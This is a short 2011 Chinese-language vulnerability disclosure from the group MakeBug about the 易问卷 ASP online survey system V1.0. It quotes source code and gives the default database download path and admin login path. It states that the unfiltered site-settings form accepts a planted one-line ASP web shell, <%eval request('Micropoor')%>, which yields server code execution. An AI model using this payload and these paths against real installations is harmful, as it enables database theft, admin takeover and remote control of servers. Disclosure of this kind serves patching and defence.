###########################################################################################
Title: 易问卷网络问卷调查系统V1.0_漏洞
Time:2011-09-07
Team:MakeBug // ~ www.luoyes.com/vul/
Author: 缘分
###########################################################################################
___ ___ ___ _ _ _____ _____ _ _ _____ _____
/ |/ | / | | | / / | ____| | _ | | | | / ___| / ___/
/ /| /| | / /| | | |/ / | |__ | || | | | | | | | | |__
/ / |/ | | / / | | | | | | | _ { | | | | | | _ _
/ / | | / / | | | | | |_ | || | | || | | || | | |
// || // || || _ || |/ _/ __/ /_____/
MakeBug [email protected]
'IncludeConn.asp
'IncludeConn2.asp<%
dim conn
dim connstr
dim dbstr
dbstr="Sur#vey2%fDate#/#2%f#_date_Survey_base#.mdb"
'On Error Resume Next
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbstr)
conn.Open connstr
If Err Then
err.Clear
response.write("数据库连接出错,请检查连接字串!!!")
response.End()
End If
%> 不知道为什么作者注释了容错。版本一共有1.0 2.0 在'ncludeConn2.asp 都出现了这个问题。
后台:拿shell
MakeBug [email protected]<%
'ManagermentSite.asp 配置文件
'省略
if request.form.count>0 then
Siteopen=request.Form("Siteopen")
SysSet_close=request.Form("SysSet_close")
SysSet_keyword=trim(request.Form("SysSet_keyword"))
SysSet_descrip=trim(request.Form("SysSet_descrip"))
SysSet_siteName=trim(request.Form("SysSet_siteName"))
SysSet_siteURL=trim(request.Form("SysSet_siteURL"))
sql="select * from [SysSet] where SysSet_use=true"
rs.open sql,conn,1,3
if not rs.eof then
rs("SysSet_flag")=Siteopen
rs("SysSet_date")=now()
rs("SysSet_close")=SysSet_close
rs("SysSet_keyword")=SysSet_keyword
rs("SysSet_descrip")=SysSet_descrip
'省略
call ShowAlert("更新成功","Site.asp")
else
call ShowAlert("参数错误","Site.asp")
end if
rs.close
end if
%> 配置文件没有过滤,直接插入:<%eval request("Micropoor")%>
默认数据库地址: Sur%23vey2%25fDate%23/%232%25f%23_date_Survey_base%23.mdb
默认后台登陆地址: Managerment/AdminLogin.asp.